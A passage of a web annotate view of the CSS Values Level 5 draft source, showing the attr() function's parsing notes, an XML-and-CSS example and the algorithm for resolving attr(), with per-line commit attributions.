class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l320" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1642" id="l1642"> 1642</a> </td> <td class="source"> and those functions are syntactically valid, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l321" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1643" id="l1643"> 1643</a> </td> <td class="source"> the entire property's grammar must be assumed to be valid at parse time. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l322" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1644" id="l1644"> 1644</a> </td> <td class="source"> It is only syntax-checked at computed-value time, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l323" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1645" id="l1645"> 1645</a> </td> <td class="source"> after ''attr()'' functions have been [=substitute an attr()|substituted=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l324" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1646" id="l1646"> 1646</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l325" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1647" id="l1647"> 1647</a> </td> <td class="source"> <div class='note'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l326" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1648" id="l1648"> 1648</a> </td> <td class="source"> Note that the default value need not be of the type given. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/adfc0847e300/css-values-5/Overview.bs#l1625" title="adfc0847e300: [css-values-5] Fix markup">fantasai@31791</a> </td> <td class="lineno"> <a href="#l1649" id="l1649"> 1649</a> </td> <td class="source"> For instance, if the type required of the attribute by the author is ''&lt;number px>'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l328" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1650" id="l1650"> 1650</a> </td> <td class="source"> the default could still be <css>auto</css>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/adfc0847e300/css-values-5/Overview.bs#l1627" title="adfc0847e300: [css-values-5] Fix markup">fantasai@31791</a> </td> <td class="lineno"> <a href="#l1651" id="l1651"> 1651</a> </td> <td class="source"> like in ''width: attr(size &lt;number px>, auto);''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l330" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1652" id="l1652"> 1652</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l331" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1653" id="l1653"> 1653</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l428" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1654" id="l1654"> 1654</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l429" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1655" id="l1655"> 1655</a> </td> <td class="source"> This example shows the use of attr() to visually illustrate data </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l430" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1656" id="l1656"> 1656</a> </td> <td class="source"> in an XML file: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l431" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1657" id="l1657"> 1657</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1474" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1658" id="l1658"> 1658</a> </td> <td class="source"> <xmp> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1475" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1659" id="l1659"> 1659</a> </td> <td class="source"> <stock> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1476" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1660" id="l1660"> 1660</a> </td> <td class="source"> <wood length="12"/> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1477" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1661" id="l1661"> 1661</a> </td> <td class="source"> <wood length="5"/> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1478" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1662" id="l1662"> 1662</a> </td> <td class="source"> <metal length="19"/> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1479" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1663" id="l1663"> 1663</a> </td> <td class="source"> <wood length="4"/> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1480" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1664" id="l1664"> 1664</a> </td> <td class="source"> </stock> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l439" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1665" id="l1665"> 1665</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l440" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1666" id="l1666"> 1666</a> </td> <td class="source"> stock::before { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l441" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1667" id="l1667"> 1667</a> </td> <td class="source"> display: block; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l442" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1668" id="l1668"> 1668</a> </td> <td class="source"> content: "To scale, the lengths of materials in stock are:"; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l443" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1669" id="l1669"> 1669</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l444" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1670" id="l1670"> 1670</a> </td> <td class="source"> stock > * { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l445" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1671" id="l1671"> 1671</a> </td> <td class="source"> display: block; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5c6a7e6983f2/css-values-5/Overview.bs#l1672" title="5c6a7e6983f2: [css-values-5] Tweak the syntax of the attr() syntax specifier, per WG resolution. #11034 #11035">jackalmage@31802</a> </td> <td class="lineno"> <a href="#l1672" id="l1672"> 1672</a> </td> <td class="source"> width: attr(length em, 0px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l447" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1673" id="l1673"> 1673</a> </td> <td class="source"> height: 1em; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l448" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1674" id="l1674"> 1674</a> </td> <td class="source"> border: solid thin; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l449" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1675" id="l1675"> 1675</a> </td> <td class="source"> margin: 0.5em; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l450" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1676" id="l1676"> 1676</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l451" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1677" id="l1677"> 1677</a> </td> <td class="source"> wood { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l452" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1678" id="l1678"> 1678</a> </td> <td class="source"> background: orange url(wood.png); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l453" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1679" id="l1679"> 1679</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l454" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1680" id="l1680"> 1680</a> </td> <td class="source"> metal { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l455" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1681" id="l1681"> 1681</a> </td> <td class="source"> background: silver url(metal.png); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l456" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1682" id="l1682"> 1682</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1499" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1683" id="l1683"> 1683</a> </td> <td class="source"> </xmp> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l458" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1684" id="l1684"> 1684</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l459" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1685" id="l1685"> 1685</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f5b9e5f9ccf0/css-values-5/Overview.bs#l467" title="f5b9e5f9ccf0: [css-values-5] More sensible heading structure">fantasai@30348</a> </td> <td class="lineno"> <a href="#l1686" id="l1686"> 1686</a> </td> <td class="source"><h4 id=attr-substitution> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/03ce07eb112a/css-values-5/Overview.bs#l1510" title="03ce07eb112a: [css-values-5][editorial] Align subheadings">fantasai@31724</a> </td> <td class="lineno"> <a href="#l1687" id="l1687"> 1687</a> </td> <td class="source">Attribute Value Substitution: the ''attr()'' notation</h4> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l462" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1688" id="l1688"> 1688</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1505" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1689" id="l1689"> 1689</a> </td> <td class="source"> ''attr()'' is an [=arbitrary substitution function=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1506" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1690" id="l1690"> 1690</a> </td> <td class="source"> similar to ''var()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1507" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1691" id="l1691"> 1691</a> </td> <td class="source"> and so is replaced with the value it represents (if possible) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1508" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1692" id="l1692"> 1692</a> </td> <td class="source"> at [=computed value=] time; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1509" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1693" id="l1693"> 1693</a> </td> <td class="source"> otherwise, it's replaced with the [=guaranteed-invalid value=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1510" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1694" id="l1694"> 1694</a> </td> <td class="source"> which will make its declaration [=invalid at computed-value time=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1511" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1695" id="l1695"> 1695</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1512" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1696" id="l1696"> 1696</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1513" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1697" id="l1697"> 1697</a> </td> <td class="source"> To <dfn export>[=resolve an arbitrary substitution function|resolve an attr() function=]</dfn>: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1514" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1698" id="l1698"> 1698</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1515" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1699" id="l1699"> 1699</a> </td> <td class="source"> 1. Let |el| be the element that the style containing the ''attr()'' function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1516" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1700" id="l1700"> 1700</a> </td> <td class="source"> is being applied to. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1517" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1701" id="l1701"> 1701</a> </td> <td class="source"> Let |attr name| be the attribute name specified in the function. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1518" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1702" id="l1702"> 1702</a> </td> <td class="source"> Let |syntax| be the <<syntax>> specified in the function, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1519" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1703" id="l1703"> 1703</a> </td> <td class="source"> or null if it was omitted. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1520" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1704" id="l1704"> 1704</a> </td> <td class="source"> Let |fallback| be the <<declaration-value>>? argument specified in the function, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1521" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1705" id="l1705"> 1705</a> </td> <td class="source"> or the [=guaranteed-invalid value=] if it was omitted. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1522" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1706" id="l1706"> 1706</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1523" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1707" id="l1707"> 1707</a> </td> <td class="source"> 2. If there is no attribute named |attr name| on |el|, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1524" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1708" id="l1708"> 1708</a> </td> <td class="source"> return the [=guaranteed-invalid value=] and |fallback|. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1525" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1709" id="l1709"> 1709</a> </td> <td class="source"> Otherwise, let |attr value| be that attribute's value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1526" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1710" id="l1710"> 1710</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1527" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1711" id="l1711"> 1711</a> </td> <td class="source"> 3. If |syntax| is null, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1528" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1712" id="l1712"> 1712</a> </td> <td class="source"> return a CSS <<string>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1529" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1713" id="l1713"> 1713</a> </td> <td class="source"> whose value is |attr value|. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1530" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1714" id="l1714"> 1714</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1531" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1715" id="l1715"> 1715</a> </td> <td class="source"> Note: No parsing or modification of any kind is performed on the value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1532" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1716" id="l1716"> 1716</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1533" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1717" id="l1717"> 1717</a> </td> <td class="source"> 4. [=Parse with a &lt;syntax>=] |attr value|, with |syntax| and |el|. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1534" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1718" id="l1718"> 1718</a> </td> <td class="source"> Return the result and |fallback|. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1535" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1719" id="l1719"> 1719</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1536" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1720" id="l1720"> 1720</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l1537" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l1721" id="l1721"> 1721</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l484" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1722" id="l1722"> 1722</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1115" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1723" id="l1723"> 1723</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1116" title="b156b151923a: [css-values-5] Remove the url type from attr(), add security section preventing attr() from being used in urls at all. #5092">jackalmage@31165</a> </td> <td class="lineno"> <a href="#l1724" id="l1724"> 1724</a> </td> <td class="source"><h4 id=attr-security> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b156b151923a/css-values-5/Overview.bs#l1117" 